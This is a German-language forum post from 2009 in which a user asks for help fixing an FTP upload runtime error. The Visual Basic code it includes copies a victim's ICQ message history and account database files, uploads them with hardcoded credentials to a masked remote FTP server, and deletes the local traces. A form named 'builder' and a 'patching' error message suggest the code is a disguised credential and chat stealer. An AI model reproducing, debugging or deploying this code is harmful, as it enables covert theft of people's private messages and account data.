Propleme mit FTP upload ! Laufzeitfehler Verfasst am: 08.05.2009, 23:11
hallo liebe vbxler,
hab da ein kleines ( was heist kleines .. großes prop)
beim FTP upload .. es geht da so um datein von der große ca .. 400kb - 800 und noch mehr ... nach einer weile kommt dann der fehler hier
Laufzeitfehler '-2147417848(80010108)':
Automatisierungsfehler
Das aufgerufene Objekt wurde von den Clients getrennt
ein teil der datei ist dann auch auf dem FTP
mein source
Code:
Dim i As Single
Dim ran
Randomize
ran = Int(10000 * Rnd)
If Not Dir("C:\Windows\System32\MSINET.OCX") <> "" Then
FileCopy appPath & "\MSINET.OCX", "C:\Windows\System32\MSINET.OCX"
Shell "regsvr32 /s C:\Windows\System32\MSINET.OCX"
End If
frm_builder.Visible = True
FileCopy "C:\Dokumente und Einstellungen\" & Environ("USERNAME") & "\Anwendungsdaten\ICQ\icqnummer\messages.mdb", "c:\messages" & ran & ".mdb"
FileCopy "C:\Dokumente und Einstellungen\" & Environ("USERNAME") & "\Anwendungsdaten\ICQ\icqnummer\owner.mdb", "c:\owner" & ran & ".mdb"
Dim Localfile As String
Dim Remotefile As String
Dim Localfile2 As String
Dim Remotefile2 As String
Localfile = "C:\messages" & ran & ".mdb"
Remotefile = "/messages" & ran & ".mdb"
Localfile2 = "C:\owner" & ran & ".mdb"
Remotefile2 = "/owner" & ran & ".mdb"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "*******"
.UserName = "*****"
.Password = "*******"
.Execute , "PUT " & Localfile & " " & Remotefile
Do While Inet1.StillExecuting
DoEvents
Loop
.Execute , "PUT " & Localfile2 & " " & Remotefile2
Do While Inet1.StillExecuting
DoEvents
Loop
End With
Inet1.Execute , "QUIT"
If Dir("c:\messages" & ran & ".mdb") <> "" Then
Kill ("c:\messages" & ran & ".mdb")
End If
If Dir("c:\owner" & ran & ".mdb") <> "" Then
Kill ("c:\owner" & ran & ".mdb")
End If
MsgBox "erfolg", vbInformation
Unload Me
Exit Sub
'err:
'MsgBox "Fehler beim Patchen!!!", vbCritical
Registrieren
Login
